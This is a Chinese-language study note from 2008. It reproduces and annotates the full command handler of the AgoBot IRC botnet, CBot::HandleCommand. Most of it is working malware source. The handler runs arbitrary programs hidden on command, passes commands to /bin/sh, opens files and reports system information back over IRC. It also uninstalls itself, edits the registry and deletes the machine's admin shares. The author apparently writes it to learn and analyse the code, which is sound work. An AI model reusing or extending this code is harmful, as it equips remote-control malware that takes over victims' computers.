十三、2008年04月08日
作者:青青子衿
email:anzijin@sina.com
CInstaller 类分析完成,回到CBot类的分析
1、 CBot :: HandleCommand ( CMessage * pMsg ) 函数
//
//
//函数功能:处理发送来的由bot类负责处理的消息
//参数: CMessage *pMsg 接收到的消息
//返回值: 处理成功返回true,否则返回false
//
/
bool CBot :: HandleCommand ( CMessage * pMsg )
{
//处理bot.remove指令,完成将bot程序从受控计算机上删除的任务,另外bot.removeallbut需要在后边添加要删除的bot的ID
if (! pMsg -> sCmd . Compare ( "bot.remove" ) || ! pMsg -> sCmd . Compare ( "bot.removeallbut" ))
{
CString sId ( pMsg -> sChatString . Token (1, " " , true ));
if (! pMsg -> sCmd . Compare ( "bot.removeallbut" ))
{
//如果是bot.removeallbut指令,那么从bot的id列表中查找是否有该ID的bot
if (! sId . Compare ( g_cMainCtrl . m_cBot . bot_id . sValue ))
{
//如果没有找到返回false
return false ;
}
}
//发送处理的返回消息到服务器,参数1标识是否处于静默状态,参数2标识发送模式
g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , "removing bot..." , pMsg -> sReplyTo );
#ifdef WIN32
if ( g_cMainCtrl . m_cBot . as_enabled . bValue ) //★★这个变量的初始值是什么呢,为什么在这里直接用了呢。
{
//这里的作用是删除启动项,为完全删除bot最准备。
g_cMainCtrl . m_cInstaller . RegStartDel ( g_cMainCtrl . m_cBot . as_valname . sValue );
}
#endif
g_cMainCtrl . m_cInstaller . Uninstall (); //卸载bot程序:生成删除bot程序的批处理。
g_cMainCtrl . m_cIRC . m_bRunning = false ; //IRC类中的运行状态设置为false
g_cMainCtrl . m_bRunning = false ; //全局变量中的运行状态设置为false
}
else if (! pMsg -> sCmd . Compare ( "bot.execute" )) //处理bot.execute指令, 命令格式.bot.execute 1 notepad.exe,其中1表示运行的次数,notepad.exe 要运行的文件
{
CString sText ( pMsg -> sChatString . Token (2, " " , true )); //取得以空格作为分隔符的第二段字符串 ,要运行的进程的文件名
bool bVisible = atoi ( pMsg -> sChatString . Token (1, " " ). CStr ())==1; //获取该进程运行的次数,将字符串形式表示的数字转化成整数
#ifdef WIN32
CString sTextExp ;
ExpandEnvironmentStrings ( sText . CStr (), sTextExp . GetBuffer (8192), 8192); // 通过环境变量对字符串进行扩充interpret environment variables
sText . Assign ( sTextExp );
PROCESS_INFORMATION pinfo ;
STARTUPINFO sinfo ;
memset (& sinfo , 0, sizeof ( STARTUPINFO ));
sinfo . cb = sizeof ( sinfo );
if ( bVisible ) //设置进程的运行模式
{
sinfo . wShowWindow = SW_SHOW ;
}
else
{
sinfo . wShowWindow = SW_HIDE ;
}
//创建指定的进程
if (! CreateProcess ( NULL , sText . Str (), NULL , NULL , TRUE , NORMAL_PRIORITY_CLASS | DETACHED_PROCESS , NULL , NULL , & sinfo , & pinfo ))
{
//如果进程创建失败,向控制端发回消息,could't execute file.
g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , "couldn't execute file." , pMsg -> sReplyTo . Str ());
return false ;
}
#else
//在linux模式下,创建新的进程
CString sCmdBuf ;
sCmdBuf . Format ( "/bin/sh -c /"%s/"" , sText . CStr ());
if ( system ( sCmdBuf . CStr ())==-1)
{
g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , "couldn't execute file." , pMsg -> sReplyTo . Str ());
return false ;
}
#endif
return true ;
}
else if (! pMsg -> sCmd . Compare ( "bot.open" )) //处理open指令
{
if (!( pMsg -> sChatString . GetLength () > ( pMsg -> sCmd . GetLength ()+ pMsg -> sChatString . Token (1, " " ). GetLength ()+3)))
{
//这里为什么要这样判断还不清楚。
return false ;
}
CString sText ;
sText . Assign (& pMsg -> sChatString [ pMsg -> sCmd . GetLength ()+2]);
bool bRet = false ;
#ifdef WIN32
bRet =( int ) ShellExecute (0, "open" , sText . CStr (), NULL , NULL , SW_SHOW )>=32; //打开指定的文件
#else
bRet = system ( sText . CStr ())>0; //linux 平台中打开某个程序。
#endif
if ( bRet ) //根据打开文件的成功与否,分别发送不同的返回信息
{
return g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , "file opened." , pMsg -> sReplyTo . Str ());
}
else
{
return g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , "couldn't open file." , pMsg -> sReplyTo . Str ());
}
}
else if (! pMsg -> sCmd . Compare ( "bot.dns" )) //处理dns指令
{
CString sReply ;
hostent * pHostent = NULL ;
in_addr iaddr ;
if (! pMsg -> sChatString . Token (1, " " ). Compare ( "" ))
{
return false ;
}
unsigned long addr = inet_addr ( pMsg -> sChatString . Token (1, " " ). CStr ()); //提取dns指令后的,字符串,将其转换成IP地址
if ( addr != INADDR_NONE ) //字符串为一个IP地址,下面做的工作是通过ip 获得他的域名
{
pHostent = gethostbyaddr (( char *)& addr , sizeof ( struct in_addr ), AF_INET );
if ( pHostent )
{
sReply . Format ( "%s -> %s" , pMsg -> sChatString . Token (1, " " ). CStr (), pHostent -> h_name );
return g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , sReply . Str (), pMsg -> sReplyTo . Str ()); //把获得的结果发送给控制端
}
} else //如果转换失败,则可确定,后边的字符串是一个域名,则下面做的工作是根据域名,来获得IP地址
{
pHostent = gethostbyname ( pMsg -> sChatString . Token (1, " " ). CStr ()); //获得IP地址
if ( pHostent )
{
iaddr =*(( in_addr *)* pHostent -> h_addr_list );
sReply . Format ( "%s -> %s" , pMsg -> sChatString . Token (1, " " ). CStr (), inet_ntoa ( iaddr ));
return g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , sReply . Str (), pMsg -> sReplyTo . Str ()); //将获得的IP地址返回给控制端
}
}
if (! pHostent ) //如果pHostent的值为null,说明无法获得该dns的信息
{
sReply . Format ( "couldn't resolve host /"%s/"!" , pMsg -> sChatString . Token (1, " " ). CStr ());
return g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , sReply . Str (), pMsg -> sReplyTo . Str ());
}
}
else if (! pMsg -> sCmd . Compare ( "bot.about" )) //处理about指令,返回AgoBot相关的信息
{
CString sReplyBuf ;
sReplyBuf . Format ( "%s by Ago (theago@gmx.net). homepage: http://none.yet/" , g_cMainCtrl . m_sNameVerStr . CStr ());
return g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , sReplyBuf . Str (), pMsg -> sReplyTo . Str ());
}
else if (! pMsg -> sCmd . Compare ( "bot.id" )) //返回botID的指令
{
return g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , bot_id . sValue . Str (), pMsg -> sReplyTo . Str ());
}
else if (! pMsg -> sCmd . Compare ( "bot.nick" )) //返回bot的昵称
{
g_cMainCtrl . m_sUserName . Format ( "%s" , pMsg -> sChatString . Token (1, " " , true ). Mid (0, 32). CStr ());
g_cMainCtrl . m_cIRC . SendRawFormat ( "NICK %s/r/n" , g_cMainCtrl . m_sUserName . CStr ());
return true ;
}
else if (! pMsg -> sCmd . Compare ( "bot.quit" ) || ! pMsg -> sCmd . Compare ( "bot.die" )) //处理bot推出指令
{
g_cMainCtrl . m_cIRC . m_bRunning = false ; //只在这里标识bot需要推出。
return true ;
}
else if (! pMsg -> sCmd . Compare ( "bot.sysinfo" )) //获得系统信息
{
//SysInfo() 是CBot的成员函数
return g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , SysInfo (). Str (), pMsg -> sReplyTo . Str ());
}
else if (! pMsg -> sCmd . Compare ( "bot.longuptime" )) //内部指令,返回在线时间长度的指令。
{
int iDays = atoi ( pMsg -> sChatString . Token (1, " " ). CStr ());
if (! iDays )
{
iDays =7;
}
CString sUptime = LongUptime ( iDays ); //调用longUptime函数,具体该指令的功能需要进一步分析了该函数之后才能知道,
if ( sUptime . Compare ( "" ))
{
g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , /
sUptime . Str (), pMsg -> sReplyTo . Str ());
}
return true ;
}
else if (! pMsg -> sCmd . Compare ( "bot.status" ))
{
return g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , Status (). Str (), pMsg -> sReplyTo . Str ());
}
else if (! pMsg -> sCmd . Compare ( "bot.rndnick" )) //修改昵称的指令,这里只是推测,该指令对整体不是很重要
{
CString sRndNick = RndNick ( si_nickprefix . sValue . CStr ());
g_cMainCtrl . m_cIRC . SendRawFormat ( "NICK %s/r/n" , sRndNick . CStr ()); //由bot发送修改昵称的指令到IRC服务器
g_cMainCtrl . m_sUserName . Format ( "%s" , sRndNick . Mid (0, 32). CStr ()); //修改本地所保存的昵称
return true ;
}
else if (! pMsg -> sCmd . Compare ( "bot.flushdns" )) //刷新本地的dns记录
{
#ifdef WIN32
Execute ( "ipconfig.exe" , "/flushdns" );
#else
Execute ( "nscd" , "-i hosts" );
#endif // WIN32
return true ;
}
else if (! pMsg -> sCmd . Compare ( "bot.secure" )) //帮助文件中没有的内部指令
{
#ifdef WIN32
// Set EnableDCOM to "N"
HKEY hkey = NULL ;
DWORD dwSize =128;
char szDataBuf [128];
sprintf ( szDataBuf , "N" );
dwSize = strlen ( szDataBuf );
/*
修改注册表
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/OLE 的键值
"EnableDCom" = "N"
减低安全设置
*/
LONG lRet = RegOpenKeyEx ( HKEY_LOCAL_MACHINE , "Software//Microsoft//OLE" , 0, KEY_READ , & hkey );
RegSetValueEx ( hkey , "EnableDCOM" , NULL , REG_SZ , ( unsigned char *) szDataBuf , dwSize );
RegCloseKey ( hkey );
// Secure Shares
system ( "net share c$ /delete /y" );
system ( "net share d$ /delete /y" );
system ( "net share ipc$ /delete /y" );
system ( "net share admin$ /delete /y" );
//上面操作的中心目的在于设置网络共享
#endif
return true ;
}
return false ;
}